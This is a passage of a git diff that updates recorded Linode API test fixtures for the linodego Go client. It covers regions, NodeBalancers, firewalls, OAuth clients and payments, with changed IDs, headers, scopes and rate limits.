1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:55 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228225}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441136, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-42.ip.linodeusercontent.com", "ipv4": "172.232.86.42", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694201, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-151.ip.linodeusercontent.com", "ipv4": "172.232.87.151", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:55 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -358,11 +379,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: GET response: - body: '{"data": [{"id": 441136, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-42.ip.linodeusercontent.com", "ipv4": "172.232.86.42", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}], "page": - 1, "pages": 1, "results": 1}' + body: '{"data": [{"id": 694201, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-151.ip.linodeusercontent.com", "ipv4": "172.232.87.151", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -375,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "383" + - "385" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -398,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -416,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441136 + url: https://api.linode.com/v4beta/nodebalancers/694201 method: DELETE response: body: '{}' @@ -432,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -453,64 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228225 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestOAuthClient_GetFound.yaml b/test/integration/fixtures/TestOAuthClient_GetFound.yaml index 630974a39..a5771dbdc 100644 --- a/test/integration/fixtures/TestOAuthClient_GetFound.yaml +++ b/test/integration/fixtures/TestOAuthClient_GetFound.yaml @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: - body: '{"id": "6a578fb048164894c078", "redirect_uri": "https://example.com", "label": - "go-client-test", "status": "active", "secret": "4b70eed2c372021630eff97297ea0bf398e63907aad929111355e47af1eea03a", + body: '{"id": "32720c96aecfac5ede47", "redirect_uri": "https://example.com", "label": + "go-client-test", "status": "active", "secret": "3e7063e5014eb448e340b1bd83c4c2677fdc031dfa8f183df84634d687784cfb", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: @@ -29,15 +29,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Thu, 30 May 2024 23:12:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -50,9 +54,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -68,10 +75,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/oauth-clients/6a578fb048164894c078 + url: https://api.linode.com/v4beta/account/oauth-clients/32720c96aecfac5ede47 method: GET response: - body: '{"id": "6a578fb048164894c078", "redirect_uri": "https://example.com", "label": + body: '{"id": "32720c96aecfac5ede47", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": null, "public": true}' headers: @@ -86,16 +93,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Thu, 30 May 2024 23:12:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -109,9 +119,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -127,7 +140,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/oauth-clients/6a578fb048164894c078 + url: https://api.linode.com/v4beta/account/oauth-clients/32720c96aecfac5ede47 method: DELETE response: body: '{}' @@ -143,15 +156,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Thu, 30 May 2024 23:12:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -164,9 +181,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestOAuthClient_GetMissing.yaml b/test/integration/fixtures/TestOAuthClient_GetMissing.yaml index 42b2f5572..682373f2e 100644 --- a/test/integration/fixtures/TestOAuthClient_GetMissing.yaml +++ b/test/integration/fixtures/TestOAuthClient_GetMissing.yaml @@ -23,13 +23,17 @@ interactions: Access-Control-Allow-Origin: - '*' Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "37" Content-Type: - application/json - Server: - - nginx + Expires: + - Thu, 30 May 2024 23:12:08 GMT + Pragma: + - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -37,9 +41,12 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" status: 404 Not Found code: 404 duration: "" diff --git a/test/integration/fixtures/TestOAuthClients_List.yaml b/test/integration/fixtures/TestOAuthClients_List.yaml index 5867f92e6..199db0d5b 100644 --- a/test/integration/fixtures/TestOAuthClients_List.yaml +++ b/test/integration/fixtures/TestOAuthClients_List.yaml @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: - body: '{"id": "4564958b19566e4ff3ba", "redirect_uri": "https://example.com", "label": - "go-client-test", "status": "active", "secret": "c0ea72902eace380721236c58a749b621db1476e15c45833017ae11487f9c383", + body: '{"id": "4a48ff5903b62d743bf0", "redirect_uri": "https://example.com", "label": + "go-client-test", "status": "active", "secret": "3e1d30e5a0a3e350ba7231cf4ba2c0863880007d62be38ebdf89fda9d2aadaff", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: @@ -29,15 +29,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 19:45:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,7 +56,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -68,14 +72,16 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/oauth-clients + url: https://api.linode.com/v4beta/account/oauth-clients?page=1 method: GET response: - body: '{"data": [{"id": "4ccb3f776916c3d32071", "redirect_uri": "http://localhost:3000/oauth/callback", - "label": "fdg", "status": "active", "secret": "", "thumbnail_url": - null, "public": true}, {"id": "4564958b19566e4ff3ba", "redirect_uri": "https://example.com", + body: '{"data": [{"id": "644f910542377876eaab", "redirect_uri": "https://localhost", + "label": "asd", "status": "active", "secret": "", "thumbnail_url": + null, "public": false}, {"id": "8839550c17ba6c006e90", "redirect_uri": "http://localhost:5000/auth_callback", + "label": "sdf", "status": "active", "secret": "", "thumbnail_url": + null, "public": false}, {"id": "4a48ff5903b62d743bf0", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": - null, "public": true}], "page": 1, "pages": 1, "results": 2}' + null, "public": true}], "page": 1, "pages": 1, "results": 3}' headers: Access-Control-Allow-Credentials: - "true" @@ -88,16 +94,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "415" + - "584" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 19:45:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -113,7 +122,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,7 +138,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/oauth-clients/4564958b19566e4ff3ba + url: https://api.linode.com/v4beta/account/oauth-clients/4a48ff5903b62d743bf0 method: DELETE response: body: '{}' @@ -145,15 +154,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 19:45:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -168,7 +181,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestPayment_GetFound.yaml b/test/integration/fixtures/TestPayment_GetFound.yaml index f80f19d2d..8e1474f7d 100644 --- a/test/integration/fixtures/TestPayment_GetFound.yaml +++ b/test/integration/fixtures/TestPayment_GetFound.yaml @@ -1,61 +1,64 @@ --- version: 1 interactions: - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/payments - method: GET - response: - body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/payments?page=1 + method: GET + response: + body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "109" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - account:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "49" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 17 Jun 2024 19:36:20 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - account:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestPayment_GetMissing.yaml b/test/integration/fixtures/TestPayment_GetMissing.yaml index 6bdc49db7..a57a9d6f2 100644 --- a/test/integration/fixtures/TestPayment_GetMissing.yaml +++ b/test/integration/fixtures/TestPayment_GetMissing.yaml @@ -1,45 +1,45 @@ --- version: 1 interactions: -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/payments/-1 - method: GET - response: - body: '{"errors": [{"reason": "Not found"}]}' - headers: - 